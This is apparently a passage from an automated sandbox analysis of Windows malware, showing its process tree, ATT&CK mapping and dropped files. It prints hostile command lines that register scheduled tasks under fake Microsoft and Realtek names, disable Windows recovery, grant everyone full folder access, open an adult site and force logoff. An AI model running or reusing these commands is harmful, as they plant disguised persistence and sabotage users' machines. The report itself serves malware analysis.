                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5964,i,6647959926528074676,11947727576885070598,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:12
                                                                          5⤵
                                                                            PID:4528
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5984,i,16611252914399913108,16452545816914723534,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:14
                                                                            5⤵
                                                                            • Modifies registry class
                                                                            PID:5920
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6328,i,4894164443254663598,5126834574303263955,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:1
                                                                            5⤵
                                                                              PID:4264
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,1934617113184866047,9391039758429595938,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:14
                                                                              5⤵
                                                                                PID:4372
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,1934617113184866047,9391039758429595938,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:14
                                                                                5⤵
                                                                                  PID:5344
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6888,i,13187734104933853627,1364757977898982468,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:14
                                                                                  5⤵
                                                                                    PID:4372
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7320,i,7400677053793461259,2726856046438998461,2097152 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:1
                                                                                    5⤵
                                                                                      PID:6600
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7376,i,17034307896897680115,4931392404847161759,524288 --field-trial-handle=2268,i,14827184358709864813,5249765068714569717,262144 --variations-seed-version --mojo-platform-channel-handle=7384 /prefetch:14
                                                                                      5⤵
                                                                                        PID:6704
                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                    schtasks /delete /tn Microsoft_Hardware_Control_Time /F
                                                                                    3⤵
                                                                                      PID:3232
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell.exe -Command "Register-ScheduledTask -TaskName "Microsoft_Hardware_Control_Time" -Xml (Get-Content "c:\ProgramData\slutBat\shutdownCheck.xml" | Out-String) -User S-1-5-21-4057491610-3392471755-192832105-1000 -Force"
                                                                                      3⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Enumerates connected drives
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:6320
                                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                                      cmd /k start https://nhentai.net/g/681025/2/
                                                                                      3⤵
                                                                                      • Executes a command shell one-liner
                                                                                      PID:6336
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://nhentai.net/g/681025/2/
                                                                                        4⤵
                                                                                          PID:6580
                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                        schtasks /delete /tn Realtek_Driver_update /F
                                                                                        3⤵
                                                                                          PID:6352
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell.exe -Command "Register-ScheduledTask -TaskName "Realtek_Driver_update" -Xml (Get-Content "c:\ProgramData\slutBat\hypnoTask.xml" | Out-String) -User Admin -Force"
                                                                                          3⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Enumerates connected drives
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:6908
                                                                                        • C:\Windows\SYSTEM32\reagentc.exe
                                                                                          reagentc.exe /disable
                                                                                          3⤵
                                                                                          • Drops file in System32 directory
                                                                                          • Drops file in Windows directory
                                                                                          PID:7108
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell.exe -Command "wevtutil sl Microsoft-Windows-DriverFrameworks-UserMode/Operational /e:true"
                                                                                          3⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Enumerates connected drives
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:6408
                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                            "C:\Windows\system32\wevtutil.exe" sl Microsoft-Windows-DriverFrameworks-UserMode/Operational /e:true
                                                                                            4⤵
                                                                                              PID:6700
                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                            icacls "C:\ProgramData\slut" /grant *S-1-1-0:(OI)(CI)F /t
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:6392
                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                            icacls "C:\ProgramData\slutBat" /grant *S-1-1-0:(OI)(CI)F /t
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:6316
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell.exe -Command "$test=(Get-WmiObject -Class Win32_Group -Filter 'LocalAccount = True AND SID = "S-1-5-32-545"').Name;icacls "C:/ProgramData/slut/" /grant ${test}:F /T"
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:7000
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell.exe -Command "$test=(Get-WmiObject -Class Win32_Group -Filter 'LocalAccount = True AND SID = "S-1-5-32-545"').Name;icacls "C:/ProgramData/slutBat/" /grant ${test}:F /T"
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:6976
                                                                                          • C:\Windows\SYSTEM32\shutdown.exe
                                                                                            shutdown /l /f
                                                                                            3⤵
                                                                                              PID:3336
                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                          1⤵
                                                                                          • Enumerates connected drives
                                                                                          • Drops file in Windows directory
                                                                                          • Checks processor information in registry
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Modifies registry class
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1724
                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                            C:\Windows\System32\MsiExec.exe -Embedding 3241568DEB99EB4147EF8BB68C1ADA5E
                                                                                            2⤵
                                                                                            • Loads dropped DLL
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:5764
                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                            C:\Windows\System32\MsiExec.exe -Embedding 80C391013999E7F21BAE843921C1C69B E Global\MSI0000
                                                                                            2⤵
                                                                                            • Loads dropped DLL
                                                                                            • Drops file in System32 directory
                                                                                            • Drops file in Program Files directory
                                                                                            • Modifies data under HKEY_USERS
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:1400
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                          1⤵
                                                                                            PID:4908
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                                                            1⤵
                                                                                              PID:6308
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                                                                                              1⤵
                                                                                                PID:7156
                                                                                              • C:\Windows\system32\LogonUI.exe
                                                                                                "LogonUI.exe" /flags:0x4 /state0:0xa39b7855 /state1:0x41c64e6d
                                                                                                1⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                PID:7152
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k CameraMonitor
                                                                                                1⤵
                                                                                                  PID:6432
                                                                                                • C:\Windows\System32\smss.exe
                                                                                                  \SystemRoot\System32\smss.exe 000000f0 000000c8
                                                                                                  1⤵
                                                                                                  • Suspicious behavior: LoadsDriver
                                                                                                  PID:4372
                                                                                                • C:\Windows\System32\smss.exe
                                                                                                  \SystemRoot\System32\smss.exe 000003c8 000000c8
                                                                                                  1⤵
                                                                                                    PID:6580
                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                    \SystemRoot\System32\smss.exe 000003f4 000000c8
                                                                                                    1⤵
                                                                                                      PID:6352
                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                      \SystemRoot\System32\smss.exe 000003c0 000000c8
                                                                                                      1⤵
                                                                                                        PID:6320
                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                        \SystemRoot\System32\smss.exe 0000035c 000000c8
                                                                                                        1⤵
                                                                                                          PID:6600
                                                                                                        • C:\Windows\System32\smss.exe
                                                                                                          \SystemRoot\System32\smss.exe 000003d4 000000c8
                                                                                                          1⤵
                                                                                                            PID:6908
                                                                                                          • C:\Windows\System32\smss.exe
                                                                                                            \SystemRoot\System32\smss.exe 00000378 000000c8
                                                                                                            1⤵
                                                                                                              PID:3336
                                                                                                            • C:\Windows\System32\smss.exe
                                                                                                              \SystemRoot\System32\smss.exe 0000037c 000000c8
                                                                                                              1⤵
                                                                                                                PID:7108
                                                                                                              • C:\Windows\System32\smss.exe
                                                                                                                \SystemRoot\System32\smss.exe 00000368 000000c8
                                                                                                                1⤵
                                                                                                                  PID:6392
                                                                                                                • C:\Windows\System32\smss.exe
                                                                                                                  \SystemRoot\System32\smss.exe 000003d4 000000c8
                                                                                                                  1⤵
                                                                                                                    PID:7000
                                                                                                                  • C:\Windows\System32\smss.exe
                                                                                                                    \SystemRoot\System32\smss.exe 00000394 000000c8
                                                                                                                    1⤵
                                                                                                                      PID:6700
                                                                                                                    • C:\Windows\System32\smss.exe
                                                                                                                      \SystemRoot\System32\smss.exe 0000033c 000000c8
                                                                                                                      1⤵
                                                                                                                        PID:6976
                                                                                                                      • C:\Windows\System32\smss.exe
                                                                                                                        \SystemRoot\System32\smss.exe 0000039c 000000c8
                                                                                                                        1⤵
                                                                                                                          PID:6316

                                                                                                                        Network

                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                              Reconnaissance

                                                                                                                              Resource Development

                                                                                                                              Initial Access

                                                                                                                              Execution

                                                                                                                              Command and Scripting Interpreter

                                                                                                                              2
                                                                                                                              T1059

                                                                                                                              PowerShell

                                                                                                                              1
                                                                                                                              T1059.001

                                                                                                                              Windows Command Shell

                                                                                                                              1
                                                                                                                              T1059.003

                                                                                                                              Persistence

                                                                                                                              Account Manipulation

                                                                                                                              1
                                                                                                                              T1098

                                                                                                                              Browser Extensions

                                                                                                                              1
                                                                                                                              T1176

                                                                                                                              Event Triggered Execution

                                                                                                                              1
                                                                                                                              T1546

                                                                                                                              Component Object Model Hijacking

                                                                                                                              1
                                                                                                                              T1546.015

                                                                                                                              Privilege Escalation

                                                                                                                              Account Manipulation

                                                                                                                              1
                                                                                                                              T1098

                                                                                                                              Event Triggered Execution

                                                                                                                              1
                                                                                                                              T1546

                                                                                                                              Component Object Model Hijacking

                                                                                                                              1
                                                                                                                              T1546.015

                                                                                                                              Defense Evasion

                                                                                                                              File and Directory Permissions Modification

                                                                                                                              1
                                                                                                                              T1222

                                                                                                                              Indicator Removal

                                                                                                                              1
                                                                                                                              T1070

                                                                                                                              Network Share Connection Removal

                                                                                                                              1
                                                                                                                              T1070.005

                                                                                                                              Modify Registry

                                                                                                                              3
                                                                                                                              T1112

                                                                                                                              Credential Access

                                                                                                                              Discovery

                                                                                                                              Browser Information Discovery

                                                                                                                              1
                                                                                                                              T1217

                                                                                                                              Peripheral Device Discovery

                                                                                                                              1
                                                                                                                              T1120

                                                                                                                              Permission Groups Discovery

                                                                                                                              1
                                                                                                                              T1069

                                                                                                                              Local Groups

                                                                                                                              1
                                                                                                                              T1069.001

                                                                                                                              Query Registry

                                                                                                                              4
                                                                                                                              T1012

                                                                                                                              System Information Discovery

                                                                                                                              4
                                                                                                                              T1082

                                                                                                                              System Network Configuration Discovery

                                                                                                                              1
                                                                                                                              T1016

                                                                                                                              System Time Discovery

                                                                                                                              1
                                                                                                                              T1124

                                                                                                                              Lateral Movement

                                                                                                                              Collection

                                                                                                                              Command and Control

                                                                                                                              Exfiltration

                                                                                                                              Impact

                                                                                                                              Defacement

                                                                                                                              1
                                                                                                                              T1491

                                                                                                                              Replay Monitor

                                                                                                                              Loading Replay Monitor...

                                                                                                                              Downloads

                                                                                                                              e5a41b1.rbs
                                                                                                                              • Path C:\Config.Msi\e5a41b1.rbs
                                                                                                                              • Size 10KB
                                                                                                                              • SHA256 f99403388d41c00171e0dc4c3f0072002da39eae513f47b5532905d51a225609
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              LICENSE
                                                                                                                              • Path C:\Program Files\Java\jdk-25.0.2\LICENSE
                                                                                                                              • Size 6KB
                                                                                                                              • SHA256 4d156eecbf6ca462d8cf772552fff874b167f87def9566837fb8e4fb347f29a5
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              COPYRIGHT
                                                                                                                              • Path C:\Program Files\Java\jdk-25.0.2\legal\java.logging\COPYRIGHT
                                                                                                                              • Size 35B
                                                                                                                              • SHA256 7afb3a2dc57cb16223dddc970e0b464311e5311484c793abf9327a19ef629018
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              LICENSE
                                                                                                                              • Path C:\Program Files\Java\jdk-25.0.2\legal\java.logging\LICENSE
                                                                                                                              • Size 33B
                                                                                                                              • SHA256 86e0516b888276a492b19f9a84f5a866ed36925fae1510b3a94a0b6213e69192
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              user-48.png
                                                                                                                              • Path C:\ProgramData\Microsoft\User Account Pictures\user-48.png
                                                                                                                              • Size 718KB
                                                                                                                              • SHA256 16aed35c1ae9912ed7ee9aeeec96f823325399aa25a1450bb1cdc36c5394004d
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Get Help.url
                                                                                                                              • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java\Get Help.url
                                                                                                                              • Size 175B
                                                                                                                              • SHA256 7f75a65299b7abfad831523c53a38ca4454d63972b7b33390f0e73a070ae73b9
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              Visit Java.com.url
                                                                                                                              • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java\Visit Java.com.url
                                                                                                                              • Size 171B
                                                                                                                              • SHA256 88a0409faba2aee66c0d0d83a898ed621244d3826ce305a0b9b1f851e302736e
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              installJavaAndApp.ps1
                                                                                                                              • Path C:\ProgramData\slut\installJavaAndApp.ps1
                                                                                                                              • Size 673B
                                                                                                                              • SHA256 0e5822db1255d0722ee2467abc619150eebcb8b382d2008e735c72e436a06f7b
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              settings.dat
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                              • Size 280B
                                                                                                                              • SHA256 54a604899198f01e1a2f5ec52bac53679a6d2775840ba8c81ab97c59f718adf8
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              settings.dat
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                              • Size 280B
                                                                                                                              • SHA256 fe09a9e94fbd795d6fab442dc426ef79e7bd47dbd80086b003cb1cd34d18db58
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              SiteList-Enterprise.json
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                                              • Size 2B
                                                                                                                              • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              Edge Profile.ico
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                                              • Size 70KB
                                                                                                                              • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              SCT Auditing Pending Reports
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                              • Size 2B
                                                                                                                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              Sdch Dictionaries
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                                                              • Size 40B
                                                                                                                              • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              Preferences
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                              • Size 12KB
                                                                                                                              • SHA256 3e02dafd5e5fc0a57b1543403282f5bf1c9c0d1c5758a360f1c0bb521bc3d6d5
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Preferences
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                              • Size 13KB
                                                                                                                              • SHA256 aeed06fe471b6d4be57d3e580ffd25e6d0fc154e6acd40400b2ce29dc6204d16
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Secure Preferences
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                                              • Size 29KB
                                                                                                                              • SHA256 6e83093f31338eee8ab18ec2fdb955168cadcef1205214c7acf4a9cfa01dfde6
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Local State
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                              • Size 37KB
                                                                                                                              • SHA256 fabb546bc656f7ea4e25d7945415cf47cf7f9651f23da46332a40cc063dc3fbf
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Local State
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                              • Size 34KB
                                                                                                                              • SHA256 0001e11aab8defe96e657c0b64121e87746e2294747c3c2becd40d7a3bc57106
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              Local State
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                              • Size 34KB
                                                                                                                              • SHA256 b084fe9e4c7fbf51279c437de6ebc1e65b2f995b94398a8652c37f1552a6c731
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              44c46bc4-f61d-457f-ba8a-e55a129fc741.tmp
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\44c46bc4-f61d-457f-ba8a-e55a129fc741.tmp
                                                                                                                              • Size 13B
                                                                                                                              • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                              Submit Download

                                                                                                                              ModuleAnalysisCache
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                              • Size 67KB
                                                                                                                              • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              StartupProfileData-NonInteractive
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                              • Size 1KB
                                                                                                                              • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              __PSScriptPolicyTest_lx2mydcu.4zh.ps1
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lx2mydcu.4zh.ps1
                                                                                                                              • Size 60B
                                                                                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                              Submit Download

                                                                                                                              jusched.log
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\jusched.log
                                                                                                                              • Size 189KB
                                                                                                                              • SHA256 140aede9dd4f2716bf5fd8bc1e4ea297638bb91404a811cd388f21157e7e3e04
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              jusched.log
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\jusched.log
                                                                                                                              • Size 195KB
                                                                                                                              • SHA256 ab05fd633aecfd297818fcc1f1bc73339b0af9e13a43b954be88e23fb23c67ed
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              jusched.log
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\jusched.log
                                                                                                                              • Size 164KB
                                                                                                                              • SHA256 69444d081647ffd01e640b76a3a6df756b30bfa07bea8585f18a7067db2a9763
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              jusched.log
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\jusched.log
                                                                                                                              • Size 177KB
                                                                                                                              • SHA256 6ee7b8fa87aea1a1f0a9a82d048daf3df77dcbf7021498d3b8d52deb86b96309
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              content_new.js
                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4672_376407547\CRX_INSTALL\content_new.js
                                                                                                                              • Size 10KB
                                                                                                                              • SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              MSI4CF8.tmp
                                                                                                                              • Path C:\Windows\Installer\MSI4CF8.tmp
                                                                                                                              • Size 935KB
                                                                                                                              • SHA256 886a26b0522282536fc262b06cb99f8e5d311366c3a4a65090c6a572ec94e866
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              MSI4F4C.tmp
                                                                                                                              • Path C:\Windows\Installer\MSI4F4C.tmp
                                                                                                                              • Size 962KB
                                                                                                                              • SHA256 976cbbe35037b8ab3dd1b871308dc6c3702a9fd87f65f6f85125d0c5dcf114c5
                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                              Submit Download

                                                                                                                              memory/1724-807-0x0000017EE4740000-0x0000017EE50E4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/1724-2067-0x0000017EE4740000-0x0000017EE50E4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-10-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-11-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-13-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-14-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-8-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-3-0x000001B7E6DA0000-0x000001B7E6DC2000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-19-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-9-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-4-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-6-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-0-0x00007FFD660AF000-0x00007FFD660B0000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-7-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-12-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-15-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/3744-5-0x00007FFD65F20000-0x00007FFD668C4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/4784-1376-0x0000020254450000-0x0000020254DF4000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/5004-1450-0x000001FEF0680000-0x000001FEF0732000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/5012-1377-0x0000010FCCF20000-0x0000010FCCF28000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/5424-1456-0x000001F447000000-0x000001F4470B2000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/6008-1362-0x000001E3ABE10000-0x000001E3ABEC2000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/6008-1363-0x000001E3ABFD0000-0x000001E3ABFDA000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/6008-1364-0x000001E3AC150000-0x000001E3AC16E000-memory.dmp
                                                                                                                              Download

                                                                                                                              memory/6008-1361-0x000001E3ABDF0000-0x000001E3ABE0E000-memory.dmp
                                                                                                                              Download

